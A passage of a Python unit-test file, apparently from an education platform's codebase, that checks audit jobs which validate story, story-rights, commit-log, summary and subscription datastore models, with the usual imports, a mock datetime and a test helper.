'[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_models.StoryModel.get_by_id('0').delete(self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for story_ids ' 'field check of StorySnapshotContentModel\', ' '[u"Entity id 0-1: based on field story_ids ' 'having value 0, expect model StoryModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'story_ids having value 0, expect model ' 'StoryModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'StorySnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_story_version_in_model_id(self): model_with_invalid_version_in_id = ( story_models.StorySnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for story model ' 'version check of StorySnapshotContentModel\', ' '[u\'Entity id 0-3: Story model corresponding to ' 'id 0 has a version 1 which is less than ' 'the version 3 in snapshot content model id\']]' ), ( u'[u\'fully-validated StorySnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class StoryRightsModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(StoryRightsModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.set_admins([self.ADMIN_USERNAME]) self.admin = user_services.UserActionsInfo(self.admin_id) manager1_email = 'user@manager1.com' manager2_email = 'user@manager2.com' self.signup(manager1_email, 'manager1') self.signup(manager2_email, 'manager2') self.set_topic_managers(['manager1', 'manager2']) self.manager1_id = self.get_user_id_from_email(manager1_email) self.manager2_id = self.get_user_id_from_email(manager2_email) self.manager1 = user_services.UserActionsInfo(self.manager1_id) self.manager2 = user_services.UserActionsInfo(self.manager2_id) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: story_services.save_new_story(self.owner_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) story_services.assign_role( self.admin, self.manager1, story_domain.ROLE_MANAGER, stories[0].id) story_services.assign_role( self.admin, self.manager2, story_domain.ROLE_MANAGER, stories[0].id) story_services.assign_role( self.admin, self.manager2, story_domain.ROLE_MANAGER, stories[1].id) self.model_instance_0 = story_models.StoryRightsModel.get_by_id('0') self.model_instance_1 = story_models.StoryRightsModel.get_by_id('1') self.model_instance_2 = story_models.StoryRightsModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.StoryRightsModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated StoryRightsModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StoryRightsModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated StoryRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'StoryRightsModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_models.StoryModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for story_ids ' 'field check of StoryRightsModel\', ' '[u"Entity id 0: based on field story_ids having ' 'value 0, expect model StoryModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated StoryRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_manager_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.manager1_id).delete() expected_output = [ ( u'[u\'failed validation check for manager_user_ids ' 'field check of StoryRightsModel\', ' '[u"Entity id 0: based on field manager_user_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]') % ( self.manager1_id, self.manager1_id), u'[u\'fully-validated StoryRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): story_models.StoryRightsSnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of StoryRightsModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model ' 'StoryRightsSnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]' ), u'[u\'fully-validated StoryRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): story_models.StoryRightsSnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of StoryRightsModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model StoryRightsSnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated StoryRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class StoryRightsSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(StoryRightsSnapshotMetadataModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: if story.id != '0': story_services.save_new_story(self.owner_id, story) else: story_services.save_new_story(self.user_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = ( story_models.StoryRightsSnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( story_models.StoryRightsSnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( story_models.StoryRightsSnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .StoryRightsSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated StoryRightsSnapshotMetadataModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StoryRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'StoryRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'StoryRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_rights_model_failure(self): story_models.StoryRightsModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for story_rights_ids ' 'field check of StoryRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field story_rights_ids ' 'having value 0, expect model StoryRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'story_rights_ids having value 0, expect model ' 'StoryRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'StoryRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of StoryRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'StoryRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_story_version_in_model_id(self): model_with_invalid_version_in_id = ( story_models.StoryRightsSnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for story rights model ' 'version check of StoryRightsSnapshotMetadataModel\', ' '[u\'Entity id 0-3: StoryRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated ' 'StoryRightsSnapshotMetadataModel\', 3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'change_role', 'assignee_id': 'id', 'new_role': 'manager' }, { 'cmd': 'publish_story', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'change_role check of ' 'StoryRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'assignee_id\': u\'id\', ' 'u\'cmd\': u\'change_role\', u\'new_role\': u\'manager\'} ' 'failed with error: The following required attributes ' 'are missing: old_role"]]' ), ( u'[u\'failed validation check for commit cmd publish_story ' 'check of StoryRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'publish_story\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following extra attributes are present: ' 'invalid_attribute"]]' ), u'[u\'fully-validated StoryRightsSnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class StoryRightsSnapshotContentModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(StoryRightsSnapshotContentModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: story_services.save_new_story(self.owner_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = ( story_models.StoryRightsSnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( story_models.StoryRightsSnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( story_models.StoryRightsSnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .StoryRightsSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated StoryRightsSnapshotContentModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StoryRightsSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'StoryRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'StoryRightsSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_models.StoryRightsModel.get_by_id('0').delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for story_rights_ids ' 'field check of StoryRightsSnapshotContentModel\', ' '[u"Entity id 0-1: based on field story_rights_ids ' 'having value 0, expect model StoryRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'story_rights_ids having value 0, expect model ' 'StoryRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'StoryRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_story_version_in_model_id(self): model_with_invalid_version_in_id = ( story_models.StoryRightsSnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for story rights model ' 'version check of StoryRightsSnapshotContentModel\', ' '[u\'Entity id 0-3: StoryRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot content model id\']]' ), ( u'[u\'fully-validated StoryRightsSnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class StoryCommitLogEntryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(StoryCommitLogEntryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: story_services.save_new_story(self.owner_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = ( story_models.StoryCommitLogEntryModel.get_by_id( 'story-0-1')) self.model_instance_1 = ( story_models.StoryCommitLogEntryModel.get_by_id( 'story-1-1')) self.model_instance_2 = ( story_models.StoryCommitLogEntryModel.get_by_id( 'story-2-1')) self.job_class = ( prod_validation_jobs_one_off .StoryCommitLogEntryModelAuditOneOffJob) def test_standard_operation(self): story_services.update_story( self.owner_id, '0', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') expected_output = [ u'[u\'fully-validated StoryCommitLogEntryModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StoryCommitLogEntryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'StoryCommitLogEntryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_models.StoryModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for story_ids ' 'field check of StoryCommitLogEntryModel\', ' '[u"Entity id story-0-1: based on field story_ids ' 'having value 0, expect model StoryModel with id 0 ' 'but it doesn\'t exist", u"Entity id story-0-2: based ' 'on field story_ids having value 0, expect model ' 'StoryModel with id 0 but it doesn\'t exist"]]' ), u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, literal_eval=True) def test_invalid_story_version_in_model_id(self): model_with_invalid_version_in_id = ( story_models.StoryCommitLogEntryModel.create( '0', 3, self.owner_id, self.OWNER_USERNAME, 'edit', 'msg', [{}], constants.ACTIVITY_STATUS_PUBLIC, False)) model_with_invalid_version_in_id.story_id = '0' model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for story model ' 'version check of StoryCommitLogEntryModel\', ' '[u\'Entity id %s: Story model corresponding ' 'to id 0 has a version 1 which is less than ' 'the version 3 in commit log entry model id\']]' ) % (model_with_invalid_version_in_id.id), u'[u\'fully-validated StoryCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_id(self): model_with_invalid_id = ( story_models.StoryCommitLogEntryModel( id='invalid-0-1', user_id=self.owner_id, username=self.OWNER_USERNAME, commit_type='edit', commit_message='msg', commit_cmds=[{}], post_commit_status=constants.ACTIVITY_STATUS_PUBLIC, post_commit_is_private=False)) model_with_invalid_id.story_id = '0' model_with_invalid_id.put() expected_output = [ ( u'[u\'failed validation check for model id check of ' 'StoryCommitLogEntryModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % (model_with_invalid_id.id), ( u'[u\'failed validation check for commit cmd check of ' 'StoryCommitLogEntryModel\', [u\'Entity id invalid-0-1: ' 'No commit command domain object defined for entity with ' 'commands: [{}]\']]'), u'[u\'fully-validated StoryCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_type(self): self.model_instance_0.commit_type = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit type check of ' 'StoryCommitLogEntryModel\', ' '[u\'Entity id story-0-1: Commit type invalid is ' 'not allowed\']]' ), u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_post_commit_status(self): self.model_instance_0.post_commit_status = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit status check ' 'of StoryCommitLogEntryModel\', ' '[u\'Entity id story-0-1: Post commit status invalid ' 'is invalid\']]' ), u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_true_post_commit_is_private(self): self.model_instance_0.post_commit_status = 'public' self.model_instance_0.post_commit_is_private = True self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of StoryCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' 'public but post_commit_is_private is True\']]' ) % self.model_instance_0.id, u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_false_post_commit_is_private(self): self.model_instance_0.post_commit_status = 'private' self.model_instance_0.post_commit_is_private = False self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of StoryCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' 'private but post_commit_is_private is False\']]' ) % self.model_instance_0.id, u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_story_node' }, { 'cmd': 'delete_story_node', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'delete_story_node check of ' 'StoryCommitLogEntryModel\', ' '[u"Entity id story-0-1: Commit command domain ' 'validation for command: {u\'cmd\': u\'delete_story_node\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: node_id, ' 'The following extra attributes are present: ' 'invalid_attribute"]]' ), ( u'[u\'failed validation check for commit cmd ' 'add_story_node check of StoryCommitLogEntryModel\', ' '[u"Entity id story-0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'add_story_node\'} ' 'failed with error: The following required attributes ' 'are missing: node_id, title"]]' ), u'[u\'fully-validated StoryCommitLogEntryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class StorySummaryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(StorySummaryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) language_codes = ['ar', 'en', 'en'] topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for index, story in enumerate(stories): story.description = 'story-test' story.language_code = language_codes[index] story_services.save_new_story(self.owner_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = story_models.StorySummaryModel.get_by_id('0') self.model_instance_1 = story_models.StorySummaryModel.get_by_id('1') self.model_instance_2 = story_models.StorySummaryModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.StorySummaryModelAuditOneOffJob) def test_standard_operation(self): story_services.update_story( self.owner_id, '1', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') expected_output = [ u'[u\'fully-validated StorySummaryModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StorySummaryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated StorySummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): story_services.delete_story(self.owner_id, '1') story_services.delete_story(self.owner_id, '2') expected_output = [( u'[u\'failed validation check for current time check of ' 'StorySummaryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_model = story_models.StoryModel.get_by_id('0') story_model.delete(feconf.SYSTEM_COMMITTER_ID, '', []) self.model_instance_0.story_model_last_updated = ( story_model.last_updated) self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for story_ids ' 'field check of StorySummaryModel\', ' '[u"Entity id 0: based on field story_ids having ' 'value 0, expect model StoryModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated StorySummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_node_count(self): self.model_instance_0.node_count = 10 self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for node count check of ' 'StorySummaryModel\', [u\'Entity id 0: Node count: 10 does ' 'not match the number of nodes in story_contents dict: []\']]' ), u'[u\'fully-validated StorySummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_story_related_property(self): self.model_instance_0.title = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for title field check of ' 'StorySummaryModel\', ' '[u\'Entity id %s: title field in entity: invalid does not ' 'match corresponding story title field: title 0\']]' ) % self.model_instance_0.id, u'[u\'fully-validated StorySummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class UserSubscriptionsModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(UserSubscriptionsModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) rights_manager.publish_exploration(self.owner, exp.id) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i ) for i in xrange(3, 6)] for collection in collections: collection_services.save_new_collection(self.owner_id, collection) rights_manager.publish_collection(self.owner, collection.id) thread_id = feedback_services.create_thread( 'exploration', 'exp_id', None, 'a subject', 'some text') subscription_services.subscribe_to_thread( self.user_id, thread_id) subscription_services.subscribe_to_creator(self.user_id, self.owner_id) for exp in explorations: subscription_services.subscribe_to_exploration( self.user_id, exp.id) for collection in collections: subscription_services.subscribe_to_collection( self.user_id, collection.id) self.process_and_flush_pending_tasks() self.job_class = ( prod_validation_jobs_one_off.UserSubscriptionsModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated UserSubscriptionsModel\', 2]'] run_job_and_check_output(self, expected_output) def test_get_external_id_relationship_failure(self): nonexist_thread_id = 'nonexist_thread_id' subscription_services.subscribe_to_thread( self.user_id, nonexist_thread_id) expected_output = [ ( u'[u\'failed validation check for general_feedback_thread_ids ' 'field check of UserSubscriptionsModel\', ' '[u"Entity id 110211048197157141232: based on ' 'field general_feedback_thread_ids having value ' 'nonexist_thread_id, expect model GeneralFeedbackThreadModel ' 'with id nonexist_thread_id but it doesn\'t exist"]]'), u'[u\'fully-validated UserSubscriptionsModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True)

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import ast import datetime import math import random import time import types from constants import constants from core import jobs_registry from core.domain import collection_domain from core.domain import collection_services from core.domain import exp_domain from core.domain import exp_services from core.domain import feedback_services from core.domain import prod_validation_jobs_one_off from core.domain import rating_services from core.domain import recommendations_services from core.domain import rights_manager from core.domain import story_domain from core.domain import story_services from core.domain import subscription_services from core.domain import topic_domain from core.domain import topic_services from core.domain import user_services from core.platform import models from core.platform.taskqueue import gae_taskqueue_services as taskqueue_services from core.tests import test_utils import feconf from google.appengine.api import datastore_types from google.appengine.ext import db gae_search_services = models.Registry.import_search_services() USER_EMAIL = 'useremail@example.com' USER_NAME = 'username' CURRENT_DATETIME = datetime.datetime.utcnow() ( activity_models, audit_models, base_models, collection_models, config_models, email_models, exp_models, feedback_models, file_models, recommendations_models, story_models, user_models,) = ( models.Registry.import_models([ models.NAMES.activity, models.NAMES.audit, models.NAMES.base_model, models.NAMES.collection, models.NAMES.config, models.NAMES.email, models.NAMES.exploration, models.NAMES.feedback, models.NAMES.file, models.NAMES.recommendations, models.NAMES.story, models.NAMES.user])) OriginalDatetimeType = datetime.datetime class PatchedDatetimeType(type): def __instancecheck__(cls, other): return isinstance(other, OriginalDatetimeType) class MockDatetime13Hours(datetime.datetime): __metaclass__ = PatchedDatetimeType @classmethod def utcnow(cls): return CURRENT_DATETIME - datetime.timedelta(hours=13) def run_job_and_check_output( self, expected_output, sort=False, literal_eval=False): job_id = self.job_class.create_new() self.assertEqual( self.count_jobs_in_taskqueue( taskqueue_services.QUEUE_NAME_ONE_OFF_JOBS), 0) self.job_class.enqueue(job_id) self.assertEqual( self.count_jobs_in_taskqueue( taskqueue_services.QUEUE_NAME_ONE_OFF_JOBS), 1) self.process_and_flush_pending_tasks() actual_output = self.job_class.get_output(job_id) if literal_eval: actual_output_dict = {} expected_output_dict = {} for item in [ast.literal_eval(value) for value in actual_output]: value = item[1] if isinstance(value, list): value = sorted(value) actual_output_dict[item[0]] = value for item in [ast.literal_eval(value) for value in expected_output]: value = item[1] if isinstance(value, list): value = sorted(value) expected_output_dict[item[0]] = value self.assertEqual( sorted(actual_output_dict.keys()), sorted(expected_output_dict.keys())) for key in actual_output_dict: self.assertEqual(actual_output_dict[key], expected_output_dict[key]) elif sort: self.assertEqual(sorted(actual_output), sorted(expected_output)) else: self.assertEqual(actual_output, expected_output) def update_datastore_types_for_mock_datetime(): datastore_types._VALIDATE_PROPERTY_VALUES[MockDatetime13Hours] = ( datastore_types.ValidatePropertyNothing) datastore_types._PACK_PROPERTY_VALUES[MockDatetime13Hours] = ( datastore_types.PackDatetime) datastore_types._PROPERTY_MEANINGS[MockDatetime13Hours] = ( datastore_types.entity_pb.Property.GD_WHEN) class MockModel(base_models.BaseModel): pass class MockSnapshotModel(base_models.BaseModel): commit_type = 'edit' commit_cmds = [] class MockBaseModelValidator(prod_validation_jobs_one_off.BaseModelValidator): pass class MockSummaryModelValidator( 